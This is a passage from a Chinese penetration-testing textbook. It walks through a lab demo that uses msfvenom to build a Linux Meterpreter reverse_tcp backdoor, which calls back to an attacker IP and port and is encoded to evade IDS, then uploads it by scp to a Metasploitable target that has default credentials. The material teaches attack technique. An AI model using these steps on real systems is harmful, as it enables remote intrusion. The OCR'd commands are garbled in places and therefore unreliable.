Meterpreter演示
本小节将以经典的 Reverse_tcp 反向连接获得 shell 作为案例来演示Meterpreter 的使用, Reverse_tcp 可针对 Windows 平台、 Unix 平台和 Linux 平台, 这里我们攻击的目标为Metasploitable靶机系统,是一个Linux平台。获取shell的整个过程分为以下几个步骤:用工具msfvenom生成后门(木马)程序、将后门程序上传至靶机系统并添加可执行权限、启动MSFConsole并使用exploit/multi/handler模块开始监听、在靶机上运行后门程序、exploit/multi/handler模块获取反向连接shell并运行Meterpreter、用Meterpreter进行后渗透攻击。
(1)生成后门程序文件
目前msfvenom工具已经取代了metasploit-framework旗下的msfpayload(载荷生成器)和msfencoder(编码器)。因此本案例将采用msfvenom生成后门程序,生成后门程序的命令为:“ msfvenom-p linux/ x86/ meterpreter/ reverse_tcpLHOST=192.168.137.137LPORT=9999-a x86-- platform linux-e x86/ shikata_ga_nai-i3-b\ Of-n6- felf>/ home/ shell_zbj. elf ”。
msfvenom工具集载荷生成、编码的功能于一身,可直接生成能够在目标主机上执行的Shellcode(Shellcode其实就是攻击载荷模块Payload,读者可参考5.1.2小节中“MSF模块介绍”部分的内容)。下面对命令中的参数做一下说明。
-p:选择用于生成Shelleode的攻击载荷模块(Payload),因为是对Linux 系统进行 Reverse_TCP反向连接攻击,所以这里使用的模块是 linux/ x86/meterpreter/ reverse_tcp 模块。LHOST和LPORT是该模块的选项,LHOST设置为攻击主机(这里是Kali虚拟机)的IP地址,被攻击的主机(Metasploitable靶机)将会反向连接到该攻击主机,LPORT是攻击主机监听反向连接的端口号,可以任意设置,只要不与现有端口出现冲突即可。
-a:选择平台的架构,这里的平台是指被攻击的目标主机的平台,有三个参数可供选择,分别是x86、x64和x86_64。
--platform:选择目标主机的操作系统类型,可选的参数有:windows、netware、android、java、ruby、linux、cisco、solaris、osx、bsd、openbsd、bsdi、netbsd、freebsd、air、hpux、irix、unix、php、javascript、python、nodejs、firefox、mainframe。
-e:选择生成的Shelloode的编码方式,可用命令“msfvenom-l encoders”查看可供选择的编码方式,如图5-37所示。编码方式与要攻击的目标系统类型或目标应用类型相关,这里选择 x86/ shikata_ga_nai 编码方式,该编码方式的等级是excellent,可以绕过入侵检测系统(IDS)的检测。
-i:设置编码的次数,可增加Shellcode的安全性。
-b:避免使用的字符,一般设置为“坏字符”,例如:不使用“VOf”。
) )) Kali安全渗透测试实践教程
-n:载荷中空指令的个数。
-1:生成的文件格式,这里为elf格式,它是一种用于二进制文件。可执行文件、目标代码、共享库和核心转储格式文件的一种文件格式,可直接执行。
>:生成的后门文件(即Shellcode文件)的存储路径及名称,“>”符号也可用“-o”选项参数代替。
命令的执行结果如图5-38所示:
图5-38 用msfvenom生成的后门程序文件
如图5-38,执行 msfvenom 命令后在/ home/目录下生成了名为“ shell_zhj.elf”的后门Shelleode文件。
(2)将后门程序上传到靶机并添加可执行权限
接下来将 Kali 虚拟机上生成的后门程序文件“ shell_zbj. elf ”上传到Metasploitable靶机,并放置到“/home/test/” 目录下,采用的命令是“sep shell_zbj. elf 192.168.137.129:/ home/ test/”,命令执行结果如图5-39所示:
图5-39 上传后门程序文件到靶机
在上传文件到Metasploitable靶机时,需要靶机的root用户权限,Metaploitable靶机系统默认的用户名和密码都是“msfadmin”,用户并不知道root用户密码是多少,这时可用“sudo passwd root”命令直接设置root用户的密码. 如图5-40所示: